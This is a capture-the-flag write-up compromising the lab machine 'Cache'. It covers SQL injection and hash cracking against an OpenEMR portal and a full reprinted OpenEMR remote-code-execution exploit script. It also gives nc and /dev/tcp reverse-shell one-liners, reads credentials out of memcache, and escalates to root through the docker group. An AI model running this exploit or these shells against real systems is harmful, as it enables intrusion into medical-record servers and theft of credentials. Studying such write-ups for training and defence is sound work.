Cache
Nmap Scan
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb3lyySrN6q6RWe0mdRQOvx8TgDiFAVhicR1h3UlBANr7ElILe7ex89jpzZSkhrYgCF7iArq7PFSX+VY52jRupsYJp7V2XLY9TZOq6F7u6eqsRA60UVeqkh+WnTE1D1GtQSDM2693/1AAFcEMhcwp/Z7nscp+PY1npxEEP6HoCHnf4h4p8RccQuk4AdUDWZo7WlT4fpW1oJCDbt+AOU5ylGUW56n4uSUG8YQVP5WqSspr6IY/GssEw3pGvRLnoJfHjARoT93Fr0u+eSs8zWhpHRWkTEWGhWIt9pPI/pAx2eAeeS0L5knZrHppoOjhR/Io+m0i1kF1MthV+qYjDjscf
| 256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFAHWTqc7a2Az0RjFRBeGhfQkpQrBmEcMntikVFn2frnNPZklPdV7RCy2VW7Ae+LnyJU4Nq2LYqp2zfps+BZ3H4=
| 256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMnbsx7/pCTUKU7WwHrL/d0YS9c99tRraIPvg5zrRpiF
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Website Enumeration
First, we’ll add the following line to our /etc/hosts file:
10.10.10.188 cache.htb
Simple enumeration of the website leads us to a login page. Logging in with the credentials test:test gives us a “Username does not match” and “Password does not match” popup window. Oddly enough, hitting Ctrl+F5 to clear our browser cache logs us in properly. Catching the request with Burp shows us that the credentials aren’t even being sent.
We can fuzz the website with our favorite fuzzer, and see that the folder /jquery exists. Not only does it exist, but it lists its directory contents. One file exists in this folder, and visiting it at the following link gives us some credentials:
http://cache.htb/jquery/functionality.js
ash:H@v3_fun
These credentials work for the login portal, but still lead us to the “This is under construction page”.
Looking at the author.php page, we see that the author is responsible for a HMS (Hospital Management System) as well. We can infer that he may be running this system on the same host, so we’ll add hms.htb to our /etc/hosts file.
Visiting http://hms.htb brings us to an OpenEMR web portal. The credentials don’t work here, but we can do a little research to find out what this portal may be vulnerable to. Light research shows us that this portal has a MASSIVE number of vulnerabilities, so we’ll start by narrowing down the potential exploits by finding the version.
We can do this by visiting http://hms.htb/setup.php and seeing that the version is 5.0.1. From here, we can view the vulnerability report for this version that OpenEMR released:
https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf
Two interesting things jump out at us. We can use some of the portal functions through forced browsing after registering a user (without logging in) as valid cookies are set, and the portal doesn’t properly check these cookies to see if the user is logged in. Even better, a couple of these functions have SQLi vulnerabilities.
Cracking the HMS Portal
We’ll start by creating a new user by visiting http://hms.htb/portal/account/register.php. Once we’ve hit the last page, we’ll try one of the vulnerable functions by visiting http://hms.htb/portal/add_edit_event_user.php?eid=1, catching the request, and running it through SQLMap. We’ll need to be quick, as these cookies don’t last long.
Save request as request.txt
sqlmap -r request.txt --current-db
[11:26:59] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[11:26:59] [INFO] fetching current database
current database: 'openemr'
[11:26:59] [INFO] fetched data logged to text files under '/home/skirmish/.sqlmap/output/hms.htb'
[11:26:59] [WARNING] you haven't updated sqlmap for more than 100 days!!!
This injection point works! We can now see what tables exist:
sqlmap -r request.txt -D openemr --tables
...
[11:27:19] [INFO] retrieved: 'user_settings'
[11:27:19] [INFO] retrieved: 'users'
[11:27:19] [INFO] retrieved: 'users_facility'
[11:27:19] [INFO] retrieved: 'users_secure'
...
Looking at the users tables gives us plaintext passwords, but they’re invalid. However, dumping users_secure gives us a hash:
sqlmap -r request.txt -D openemr -T users-secure --dump
+----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+
| id | salt | password | username | last_update | salt_history1 | salt_history2 | password_history1 | password_history2 |
+----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+
| 1 | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | openemr_admin | 2019-11-21 06:38:40 | NULL | NULL | NULL | NULL |
+----+--------------------------------+--------------------------------------------------------------+---------------+---------------------+---------------+---------------+-------------------+-------------------+
This is a blowfish hash, that we can crack with Hashcat:
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
...
$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.:xxxxxx
...
Trying these credentials on the main page of the OpenEMR website grants us access!
openemr_admin:xxxxxx
Getting a Shell
Once we’ve logged in, we can use a RCE exploit (since we’re an admin user), but we’ll have to modify it a bit first:
https://www.exploit-db.com/exploits/45161
We need to visit http://hms.htb/interface/super/edit_globals.php, hit “Save” and catch the request with Burp (or ZAP). We’ll now go into the exploit, remove form_284 from our request, and replace the old payload with our new one, so we don’t overwrite any settings and mess up the box for other users. Once we’ve done this, we can run the exploit!
Fixed exploit:
# Title: OpenEMR < 5.0.1 - Remote Code Execution
# Author: Cody Zacharias
# Date: 2018-08-07
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
# Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile
# Version: < 5.0.1 (Patch 4)
# Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3
# References:
# https://www.youtube.com/watch?v=DJSQ8Pk_7hc
'''
WARNING: This proof-of-concept exploit WILL replace the GLOBAL config.
If you don't want the OpenEMR config to be reset to default, please modify
the payload.
Example Usage:
- python openemr_rce.py http://127.0.0.1/openemr-5_0_1_3 -u admin -p admin -c 'bash -i >& /dev/tcp/127.0.0.1/1337 0>&1'
'''
#!/usr/bin/env python
import argparse
import base64
import requests
import sys
ap = argparse.ArgumentParser(description="OpenEMR RCE")
ap.add_argument("host", help="Path to OpenEMR (Example: http://127.0.0.1/openemr).")
ap.add_argument("-u", "--user", help="Admin username")
ap.add_argument("-p", "--password", help="Admin password")
ap.add_argument("-c", "--cmd", help="Command to run.")
args = ap.parse_args()
ascii = "> .---. ,---. ,---. .-. .-.,---. ,---. <\r\n"
ascii+= ">/ .-. ) | .-.\ | .-' | \| || .-' |\ /|| .-.\ <\r\n"
ascii+= ">| | |(_)| |-' )| `-. | | || `-. |(\ / || `-'/ <\r\n"
ascii+= ">| | | | | |--' | .-' | |\ || .-' (_)\/ || ( <\r\n"
ascii+= ">\ `-' / | | | `--.| | |)|| `--.| \ / || |\ \ <\r\n"
ascii+= "> )---' /( /( __.'/( (_)/( __.'| |\/| ||_| \)\ <\r\n"
ascii+= ">(_) (__) (__) (__) (__) '-' '-' (__) <\r\n"
ascii+= " \r\n"
ascii+= " ={> P R O J E C T I N S E C U R I T Y <}= \r\n"
ascii+= " \r\n"
ascii+= " Twitter : >@Insecurity< \r\n"
ascii+= " Site : >insecurity.sh< \r\n"
green = "\033[1;32m"
red = "\033[1;31m"
clear = "\033[0m"
load = "[>$<] ".replace(">", green).replace("<", clear)
err = "[>-<] ".replace(">", red).replace("<", clear)
intro = ascii.replace(">", green).replace("<", clear)
print(intro)
with requests.session() as s:
login = {"new_login_session_management": "1",
"authProvider": "Default",
"authUser": args.user,
"clearPass": args.password,
"languageChoice": "1"
}
print(load + "Authenticating with " + args.user + ":" + args.password)
r = s.post(args.host + "/interface/main/main_screen.php?auth=login&site=default", data=login)
if "login_screen.php?error=1&site=" in r.text:
print(err + "Failed to Login.")
sys.exit(0)
# This will rewrite and replace your current GLOBALS, please modify this if you don't want that.
payload = "form_save=Save&srch_desc=&form_0=main_info.php&form_1=..%2F..%2Finterface%2Fmain%2Fmessages%2Fmessages.php%3Fform_active%3D1&form_2=1&form_3=tabs_style_full.css&form_4=style_light.css&form_5=__default__&form_6=__default__&form_7=1&form_8=0&form_9=175&form_10=OpenEMR&form_12=1&form_13=0&form_14=0&form_16=1&form_21=1&form_22=1&form_23=1&form_24=1&form_25=http%253A%252F%252Fopen-emr.org%252F&form_26=&form_27=20&form_28=10&form_30=0&form_31=5&form_32=0&form_37=English+%28Standard%29&form_42=1&form_43=1&form_44=1&form_45=1&form_46=1&form_47=1&form_48=1&form_49=1&form_50=1&form_51=0&form_52=0&form_53=&form_54=2&form_55=.&form_56=%2C&form_57=%2524&form_58=0&form_59=3&form_60=6%2C0&form_61=0&form_62=0&form_63=_blank&form_69=1&form_70=1&form_77=1&form_79=&form_80=&form_81=&form_84=1&form_85=1&form_87=1&form_89=1&form_90=1&form_91=1&form_92=Y1&form_93=1&form_94=2&form_95=0&form_97=14&form_98=11&form_99=24&form_100=20&form_102=1&form_103=0&form_104=0&form_105=ICD10&form_106=1&form_107=1&form_112=3&form_115=1&form_116=&form_119=1.00&form_121=0&form_123=&form_125=30&form_126=&form_127=60&form_128=&form_129=90&form_130=&form_131=120&form_132=&form_133=150&form_134=&form_135=1&form_138=1&form_139=1&form_141=1&form_142=0&form_143=localhost&form_144=&form_145=&form_146=5984&form_147=&form_150=Patient%2BID%2Bcard&form_151=Patient%2BPhotograph&form_152=Lab%2BReport&form_153=Lab%2BReport&form_155=100&form_157=8&form_158=17&form_159=15&form_160=day&form_161=1&form_162=2&form_163=1&form_164=10&form_165=10&form_166=15&form_167=20&form_168=1&form_169=%23FFFFFF&form_170=%23FFFFFF&form_171=%23FFFFFF&form_172=%23FFFFFF&form_173=1&form_174=0&form_176=1&form_177=1&form_178=1&form_181=1&form_182=1&form_183=1&form_184=1&form_185=D0&form_186=D0&form_187=0&form_188=0&form_190=33&form_191=0&form_194=7200&form_198=1&form_199=0&form_200=0&form_202=&form_203=&form_204=365&form_205=&form_206=1&form_208=&form_210=&form_211=&form_212=&form_213=&form_214=&form_215=&form_216=SMTP&form_217=localhost&form_218=25&form_219=&form_220=&form_221=&form_222=50&form_223=50&form_224=&form_225=&form_226=&form_227=50&form_228=&form_229=&form_230=&form_231=1&form_232=1&form_233=1&form_234=1&form_235=1&form_236=1&form_237=1&form_238=1&form_239=Model%2BRegistry&form_240=125789123&form_241=1&form_242=1&form_243=1&form_244=&form_245=&form_246=1&form_247=1&form_248=1&form_249=5&form_250=1&form_252=1&form_253=1&form_254=1&form_255=1&form_256=1&form_257=1&form_258=1&form_262=&form_263=6514&form_264=&form_265=&form_267=1&form_268=0&form_269=%252Fusr%252Fbin&form_270=%252Fusr%252Fbin&form_271=%252Ftmp&form_272=%252Ftmp&form_273=26&form_274=state&form_275=1&form_276=26&form_277=country&form_278=lpr%2B-P%2BHPLaserjet6P%2B-o%2Bcpi%253D10%2B-o%2Blpi%253D6%2B-o%2Bpage-left%253D72%2B-o%2Bpage-top%253D72&form_279=&form_280=&form_282=2018-07-23&form_283=1&form_285=%252Fvar%252Fspool%252Fhylafax&form_286=enscript%2B-M%2BLetter%2B-B%2B-e%255E%2B--margins%253D36%253A36%253A36%253A36&form_288=%252Fmnt%252Fscan_docs&form_289=1&form_290=https%253A%252F%252Fyour_web_site.com%252Fopenemr%252Fportal&form_291=1&form_292=1&form_296=https%253A%252F%252Fyour_web_site.com%252Fopenemr%252Fpatients&form_297=1&form_299=&form_300=&form_301=&form_302=https%253A%252F%252Fssh.mydocsportal.com%252Fprovider.php&form_303=https%253A%252F%252Fssh.mydocsportal.com&form_305=https%253A%252F%252Fyour_cms_site.com%252F&form_306=&form_307=&form_308=0&form_309=https%253A%252F%252Fhapi.fhir.org%252FbaseDstu3%252F&form_312=https%253A%252F%252Fsecure.newcropaccounts.com%252FInterfaceV7%252FRxEntry.aspx&form_313=https%253A%252F%252Fsecure.newcropaccounts.com%252Fv7%252FWebServices%252FUpdate1.asmx%253FWSDL%253Bhttps%253A%252F%252Fsecure.newcropaccounts.com%252Fv7%252FWebServices%252FPatient.asmx%253FWSDL&form_314=21600&form_315=21600&form_316=&form_317=&form_318=&form_319=1&form_324=&form_325=0&form_327=137&form_328=7C84773D5063B20BC9E41636A091C6F17E9C1E34&form_329=C36275&form_330=0&form_332=https%253A%252F%252Fphimail.example.com%253A32541&form_333=&form_334=&form_335=admin&form_336=5&form_339=1&form_346=LETTER&form_347=30&form_348=30&form_349=72&form_350=30&form_351=P&form_352=en&form_353=LETTER&form_354=5&form_355=5&form_356=5&form_357=8&form_358=D&form_359=1&form_360=9&form_361=1&form_362=104.775&form_363=241.3&form_364=14&form_365=65&form_366=220"
p = {}
for c in payload.replace("&", "\n").splitlines():
a = c.split("=")
p.update({a[0]: a[1]})
# Linux only, but can be easily modified for Windows.
_cmd = "|| echo " + base64.b64encode(args.cmd) + "|base64 -d|bash"
p.update({"form_284": _cmd})
print(load + "Injecting payload")
s.post(args.host + "/interface/super/edit_globals.php", data=p)
sp = s.get(args.host + "/interface/main/daemon_frame.php") # M4tt D4em0n w0z h3r3 ;PpPpp
if sp.status_code == 200:
print(load + "Payload executed")
We can use a bash/nc reverse shell payload:
python exploit.py -u openemr_admin -p xxxxxx -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xx.xx.xx.xx 4444 >/tmp/f' http://hms.htb
Now, we just need to catch it:
nc -nlvp 4444
www-data@cache:
Let’s upgrade our shell a bit, so we don’t accidentally exit out of it:
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo
fg
(hit enter twice)
www-data to user 2
Looking in the home folder, we can see that ash exists, so we’ll try to su to ash with his password from the original website:
su ash
Password: H@v3_fun
ash@cache:~$ whoami
ash
Pivoting to user 2
If we check in the /home directory, another user named Luffy exists. Looking at the ports listening with netstat antup, we see something interesting:
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:11211 0.0.0.0:* LISTEN -
tcp 0 0 10.10.10.188:40822 10.10.14.17:22 TIME_WAIT -
tcp 0 0 127.0.0.1:52478 127.0.0.1:11211 TIME_WAIT -
tcp 0 0 127.0.0.1:52498 127.0.0.1:11211 TIME_WAIT -
tcp 0 1 10.10.10.188:34744 8.8.4.4:53 SYN_SENT -
tcp 0 0 10.10.10.188:36870 10.10.14.17:4444 ESTABLISHED -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 10.10.10.188:80 10.10.14.17:54418 ESTABLISHED -
udp 0 0 127.0.0.1:59887 127.0.0.53:53 ESTABLISHED -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
Port 11211 is listening, which is memcache. Based on the name of the box, there’s probably something juicy in there! We’ll connect to it with nc:
nc -nv 127.0.0.1 11211
stats items
stats items
STAT items:1:number 5
STAT items:1:number_hot 0
STAT items:1:number_warm 0
STAT items:1:number_cold 5
STAT items:1:age_hot 0
STAT items:1:age_warm 0
STAT items:1:age 18
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:1:evicted_active 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 48
STAT items:1:lrutail_reflocked 0
STAT items:1:moves_to_cold 415
STAT items:1:moves_to_warm 0
STAT items:1:moves_within_lru 0
STAT items:1:direct_reclaims 0
STAT items:1:hits_to_hot 0
STAT items:1:hits_to_warm 0
STAT items:1:hits_to_cold 2
STAT items:1:hits_to_temp 0
END
We can see that there’s only 1 item, so we’ll go ahead and dump it:
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
Let’s see what that user and password is!
get user
VALUE user 0 5
luffy
END
get passwd
VALUE passwd 0 9
0n3_p1ec3
END
Nice, let’s see if they work:
su luffy
Password: 0n3_p1ec3
luffy@cache:
We have the second user!
Rooting the Box
If we look at luffy’s groups, we can see he’s in the docker group. This makes for a very easy privesc!
groups
luffy@cache:/home$ groups
luffy docker
We can see what docker images exist:
docker image list
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 2ca708c1c9cc 7 months ago 64.2MB
Now, we can just run the commands listed for docker on GTFOBins:
docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh
# whoami
root
Voila, root!